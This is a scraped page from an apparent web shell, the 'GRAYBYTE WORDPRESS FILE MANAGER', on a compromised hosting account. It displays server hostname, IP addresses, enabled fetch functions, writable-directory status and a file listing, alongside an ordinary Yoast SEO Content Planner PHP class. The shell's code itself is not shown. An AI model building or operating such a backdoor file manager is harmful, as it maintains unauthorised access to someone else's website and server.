✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/serverhttpxforwardedssl1/maint//content-planner-integration.php
<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.

namespace Yoast\WP\SEO\AI\Content_Planner\User_Interface;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\AI\Content_Planner\Application\Content_Planner_Endpoints_Repository;
use Yoast\WP\SEO\Conditionals\AI_Conditional;
use Yoast\WP\SEO\Conditionals\AI_Editor_Conditional;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Content_Planner_Integration class.
 */
class Content_Planner_Integration implements Integration_Interface {

	/**
	 * The minimum number of published posts required for the feature to be available.
	 */
	public const MIN_PUBLISHED_POSTS = 5;

	/**
	 * Represents the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * The endpoints repository.
	 *
	 * @var Content_Planner_Endpoints_Repository
	 */
	private $endpoints_repository;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $indexable_repository;

	/**
	 * The user helper.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array<string>
	 */
	public static function get_conditionals(): array {
		return [ AI_Conditional::class, AI_Editor_Conditional::class ];
	}

	/**
	 * Constructs the class.
	 *
	 * @param WPSEO_Admin_Asset_Manager            $asset_manager        The admin asset manager.
	 * @param Content_Planner_Endpoints_Repository $endpoints_repository The endpoints repository.
	 * @param Indexable_Repository                 $indexable_repository The indexable repository.
	 * @param User_Helper                          $user_helper          The user helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Content_Planner_Endpoints_Repository $endpoints_repository,
		Indexable_Repository $indexable_repository,
		User_Helper $user_helper
	) {
		$this->asset_manager        = $asset_manager;
		$this->endpoints_repository = $endpoints_repository;
		$this->indexable_repository = $indexable_repository;
		$this->user_helper          = $user_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
		// Enqueue after Elementor_Premium integration, which re-registers the assets.
		\add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 );
	}

	/**
	 * Returns the script data for the content planner.
	 *
	 * @return array{endpoints: array<string, string>, minPostsMet: bool, isBannerPermanentlyDismissed: bool}
	 */
	public function get_script_data(): array {
		return [
			'endpoints'                    => $this->endpoints_repository->get_all_endpoints()->to_paths_array(),
			'minPostsMet'                  => $this->is_minimum_posts_met(),
			'isBannerPermanentlyDismissed' => $this->is_banner_permanently_dismissed(),
		];
	}

	/**
	 * Localizes the content planner script data.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		$this->asset_manager->enqueue_script( 'ai-content-planner' );
		$this->asset_manager->localize_script( 'ai-content-planner', 'wpseoContentPlanner', $this->get_script_data() );
	}

	/**
	 * Determines whether the site has at least the minimum number of published posts.
	 *
	 * Reuses Indexable_Repository::get_recently_modified_posts() with a limit equal to the threshold,
	 * so we never load more rows than necessary just to answer a "≥ N" question.
	 *
	 * @return bool Whether the site has met the minimum-posts threshold.
	 */
	private function is_minimum_posts_met(): bool {
		$posts = $this->indexable_repository->get_recently_modified_posts( 'post', self::MIN_PUBLISHED_POSTS, false );

		return \count( $posts ) >= self::MIN_PUBLISHED_POSTS;
	}

	/**
	 * Determines whether the current user has permanently dismissed the inline banner.
	 *
	 * @return bool Whether the banner is permanently dismissed for this user.
	 */
	private function is_banner_permanently_dismissed(): bool {
		$user_id = $this->user_helper->get_current_user_id();

		return (bool) $this->user_helper->get_meta( $user_id, Banner_Permanent_Dismissal_Route::USER_META_KEY, true );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
27 Sep 2026 8.00 AM
docteuh / users
0755
addon-installation
--
30 Aug 2026 11.18 PM
docteuh / users
0755
application
--
24 Sep 2026 12.38 PM
docteuh / users
0755
build-compressed
--
9 Sep 2026 11.15 PM
docteuh / users
0755
cgi-bin
--
10 Sep 2026 5.58 PM
docteuh / users
0755
cgi_bin
--
19 Sep 2026 4.02 PM
docteuh / users
0755
cloudflare
--
10 Sep 2026 5.42 PM
docteuh / users
0755
css
--
23 Sep 2026 5.59 PM
docteuh / users
0755
indexables-disabled
--
30 Aug 2026 5.04 PM
docteuh / users
0755
inter
--
17 Sep 2026 5.11 PM
docteuh / users
0755
log
--
30 Aug 2026 1.28 PM
docteuh / users
0755
serverhttpxforwardedssl1
--
9 Sep 2026 4.00 AM
docteuh / users
0755
src
--
7 Sep 2026 10.42 AM
docteuh / users
0755
third-party
--
10 Sep 2026 5.07 PM
docteuh / users
0755
user-interface
--
18 Sep 2026 8.10 PM
docteuh / users
0755
EasyHandle.php
2.94 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Middleware.php
11.089 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
about.css
27.807 KB
21 May 2026 2.34 PM
docteuh / users
0644
admin-footer.php
2.745 KB
21 May 2026 2.34 PM
docteuh / users
0644
authorize-application-20260826035009.php
10.093 KB
8 Nov 2023 3.41 PM
docteuh / users
0644
authorize-application.php
10.093 KB
8 Nov 2023 3.41 PM
docteuh / users
0644
comment.php
11.37 KB
21 May 2026 2.34 PM
docteuh / users
0644
content-planner-integration.php
4.349 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
custom-header.php
0.487 KB
16 Apr 2025 11.58 AM
docteuh / users
0644
customize.php
11.207 KB
21 May 2026 2.34 PM
docteuh / users
0644
deprecated-media.min.css
5.364 KB
3 Apr 2024 10.45 AM
docteuh / users
0644
edit-comments-20260826035056.php
14.145 KB
21 May 2026 2.34 PM
docteuh / users
0644
edit-form-advanced.php
28.795 KB
21 May 2026 2.34 PM
docteuh / users
0644
edit-form-comment.php
8.333 KB
21 May 2026 2.34 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103225-20260831111900-20260901204506.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260828145821.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260829050506-20260830004210-20260830004247-20260830005244-20260831153003.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260829050506-20260830004210-20260830004247-20260830005923-20260830162815.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260829102432-20260830003633-20260830003700-20260830003856-20260831134556.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
post-new-20260827034200.php
2.703 KB
17 Jul 2024 6.30 AM
docteuh / users
0644
post-new.php
2.703 KB
17 Jul 2024 6.30 AM
docteuh / users
0644
repair-20260827043858.php
7.468 KB
21 May 2026 2.34 PM
docteuh / users
0644
repair.php
7.468 KB
21 May 2026 2.34 PM
docteuh / users
0644
users.php
23.439 KB
21 May 2026 2.34 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF